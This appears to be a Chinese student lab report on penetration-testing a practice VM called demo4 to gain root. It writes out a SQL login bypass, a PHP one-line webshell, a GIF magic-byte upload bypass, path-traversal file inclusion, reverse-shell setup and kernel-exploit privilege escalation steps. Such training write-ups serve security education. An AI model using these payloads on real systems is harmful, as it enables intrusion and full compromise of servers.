第 4 次实验:对demo4进行靶机渗透测试并获得 root 权限
一、实验目的
取得目标靶机 demo4 的 root 权限。
将使用主机发现、端口扫描、文件上传漏洞、文件包含漏洞、一句话木马、反弹 shell 等攻击手段。
二、实验内容
1) 主机发现
首先执行命令:
1 | sudo -i |

由此可以得到目标主机地址是 10.0.2.6。
2) 端口发现与扫描
对 10.0.2.6 进行端口扫描(进一步验证是否为靶机;如不需节省时间也可 nmap -p- 10.0.2.6):
1 | nmap 10.0.2.6 |

进行服务探测以确认端口服务与版本:
1 | nmap -p22,8080 -sV 10.0.2.6 |

3) Web 渗透
访问 10.0.2.6:

提示需要输入用户名与密码。使用目录枚举(如未安装可先 apt install dirsearch):
1 | dirsearch -u http://10.0.2.6 |

403 为无权访问,200 为探测成功。尝试访问 test.php:

根据提示需为 file 提供参数。先用 GET 请求尝试读取 /etc/passwd:
1 | http://10.0.2.6/test.php?file=/etc/passwd |
未成功。开启代理并在 Burp Suite 中 Intercept on,重放请求,右击 Send to Repeater,从 GET 改为 POST(Change request method):

file 移至 body,发送后成功获得 passwd 内容:

这时我们就找到了一个漏洞,但是并不确定具体形式,有可能是文件包含漏洞 (既能够看到文件内容也能够执行文件),也有可能是任意文件下载漏洞 (只能看到文件内容,但不能够执行),接下来进行具体判断:在 burb suite 中把查看的文件改为刚刚目录枚举看到的 add.php,若能够执行,即为文件包含漏洞,后续能够利用这一漏洞执行漏洞代码,若不能执行,说明仅为任意文件下载漏洞。

发现仅展现了 php 文件的内容,并没有执行,说明是任意文件下载漏洞,可以看到任意脚本的内容。我们想到 web 服务默认有一个索引文件,这里是 index.php 文件,所以我们再查看 index.php 文件:

实际 SQL 语句为:
1 | select * from auth where pass='$pass' and uname='$uname' |
令 pass 取 \,uname 取 'or 1=1 # 可绕过登录。进入后选择 show users 与 add users,点击 continue:


发现 add users 里面可以上传图片,这是一个比较经典的文件上传漏洞(比如可以上传反弹 shell 的文件,访问这个文件就能实现反弹 shell)
4) 利用漏洞得到反弹 shell
方法一:利用一句话木马进行渗透
我们知道了靶机使用的是 php 语言,所以我们可以利用 PHP 一句话木马来进行渗透。(其他语言也有一句话木马)(前提是:靶机的上传界面对文件没有过滤)
PHP 一句话木马:
1 | system($_GET["cmd"]); |
a) 文件上传漏洞
上传文件的目录可以通过右击已有 User 的头像图片,点击 Copy Image Link, 然后打开一个新的页面,粘贴过去,即可得到文件上传路径:

即:
1 | http://10.0.2.6/uploaded_images/jack.jpg |
在/home/kali 目录下创建一个 a.php 文件, 里面内容为 PHP 的一句话木马。若文件 a.php 上传成功,就访问以下这个 url:
1 | http://10.0.2.6/uploaded_images/a.php?cmd=whoami |
一旦执行成功,就可把 whoami 换成一个反弹 shell。
然后验证一下靶机对文件有没有过滤(仅允许 png/jpg/gif)。将 a.php 上传:

很不幸没有成功,只有 png,jpg 和 gif 文件允许上传:

然后使用以下命令把文件进行修改为 a.png,然后再进行上传:
1 | cp a.php a.png |
发现没有成功:

说明能够检查出来上传的文件不是图片,搜索可知事实上是根据文件头中的魔术来判断的。
首先要想办法把文件上传上去。
打开 Burp 再次把 a.php 进行上传,拦截结果 send to repeater:

将 filename 改为 a.php,Content-Type 改为 image/php,并在文件开头加入图片gif的魔术:
1 | GIF89a; |
然后点击 send,response 拉到最后,发现成功上传:

(此方法比较通用)
然后回到浏览器关掉 burp,点击 show users,continue, 发现成功添加第三个用户。
b) 文件包含漏洞
接下来的问题就是想办法通过某种方式调用这个图片中的代码,需要找到另外的漏洞。打开 burp 插件,在 show users 处点击 continue,拦截请求:

send to repeater 后 send, 然后把 load=show 改为 load=good,渲染之后发现中间的用户信息都不见了,我们猜测 show 指代的是一个 php 脚本,我们尝试把 good 改为/etc/passwd 发现没有显示任何内容。后台在 load=/etc/passwd 这个位置可能做了虚拟化,即它所认为的根目录不是我们理解的系统的根目录,也有可能是 web 目录,所以我们把路径改为一系列的../:
1 | load=../../../../../../../etc/passwd |
再点击 send,发现成功显示出了 passwd 的内容:

说明确实有漏洞。
c) 反弹 shell
目前已知的漏洞为:1. 可以显示文本文件内容 2. 可以执行 php 脚本
然后把 load 改为:
1 | load=uploaded_images/a.png?cmd=whoami |
发现没有成功, 然后我们把 cmd=whoami 放到第一行 POST /panel.php 的后面, 再次尝试,发现成功运行:

即发现了任意命令执行漏洞,我们就可以把 whoami 换成反弹 shell. 但是不能直接放进去,把一句话命令粘贴到 burp suite 的 decoder 界面,右侧Encode as 选择URL,就能得到要放进去的反弹 sell 命令:

这里我采用的是 PHP 的反弹 shell,在 kali 中监听 1234 端口,成功进入到靶机:

方法二:利用 kali 自带的包含反弹 shell 的 php 文件
一句话木马有一个缺陷,就是需要一个参数才能够执行,比较麻烦。在 kali 里面,有一个包含反弹 shell 的 php 文件,就不需要那么麻烦了,只需要把 a.png 换成改文件即可。这个文件的路径为:
1 | /usr/share/webshells/php/php-reverse-shell.php |
把该文件 copy 到当前目录, 然后改成 bb.png 复制到/home/kali 下面:
1 | cp /usr/share/webshells/php/php-reverse-shell.php . |
关闭 burpsuite, 回到 add user 界面,上传 bb.png,再次打开 burpsuite,点击 upload,请求被拦截后 send to repeater.
文件内容需要进行修改,一个是开头需要加上魔术:GIF89a;, 另一个是把反弹 shell的 ip 地址改为 kali 的 ip 地址:

response 最后显示 upload sucessfully, 说明上传成功。

回到 burpsuite 刚才的界面,把 a.png 改为 bb.png,删除上面的 cmd, 然后在 kali中改为 bash 命令行后监听 1234 端口,再点击 send,即可建立反弹 shell。可以运行以下代码将命令提示符进行修改:
1 | python -c "import pty;pty.spawn('/bin/bash')" |

成功反弹 shell 之后执行以下命令把 shell 提升一下:
1 | python -c "import pty; pty.spawn('/bin/bash')" |
5) 提权
在靶机命令行中输入 uname -a 来查看靶机的内核版本:

是 kernel 3.13.0, 于是在 kali 中使用以下命令来搜索该版本的漏洞:
1 | searchsploit kernel 3.13.0 |
发现满足要求的一条对应的漏洞代码为 37292.c

使用以下命令把 37292.c 漏洞文件复制到当前目录:
1 | searchsploit -m 37292 |
查看该文件,可知编译方式为:
1 | gcc ofs.c -o ofs |
首先在 kali 中用 python 启动 web server:

然后执行以下命令把漏洞利用代码 37292.c 文件下载到靶机的 tmp 目录下:
1 | cd /tmp |

编译运行该漏洞文件,然后执行该文件:

成功提权!
三、实验结果
通过攻击机 Kali Linux 对靶机 demo 4 进行渗透测试,并成功获得 root 权限:

四、附加题
问题: 若拿到了靶机的普通用户权限,并找到了靶机的一个漏洞利用代码(.c 文件),但是目标靶机没有 gcc 编译环境,具体该怎么实现提权?
1) 本地编译 exploitt(漏洞利用代码)
因为靶机没有 gcc 不能够编译.c 文件,所以我们自然想到在攻击机 kali 上把漏洞利用文件编译好之后再传到靶机上。
执行:
1 | gcc exploit.c -o exploit -static |
2) 传输到靶机
在攻击机启动 HTTP 服务:
1 | python -m http.server 80 |
然后在靶机上下载下来:
1 | cd /tmp |
3) 在靶机上执行
赋予文件执行权限之后执行 exploit
1 | chmod +x exploit |
即可成功提权!
五、实验中遇到的问题及解决方案
- 问题: 在使用 PHP 一句话木马用到一句话反弹 shell 时首先尝试使用 bash 的反弹shell,并没有成功建立.
- 解决: 换用其他的反弹 shell, 后来使用 PHP 的反弹 shell 成功反弹 shell。
六、实验的启示 / 意见和建议
总结:这次学习到了文件 (图片) 上传漏洞和文件包含漏洞的利用方法,了解并练习了一句话木马的使用方法。另外知道了 kali 自带的 php-reverse-shell.php 文件具有反弹 shell 的功能,以后可以利用该性质进行反弹 shell 的建立。此次提权方法中规中矩,首先找到内核漏洞,再在靶机上执行对应的漏洞利用文件即可成功提权,但是这是在靶机具有 gcc 编译环境的前提下的方法,在附加题中也解释了我对当靶机没有 gcc 时如何利用漏洞文件的思考。巩固了靶机渗透能力,收获颇丰!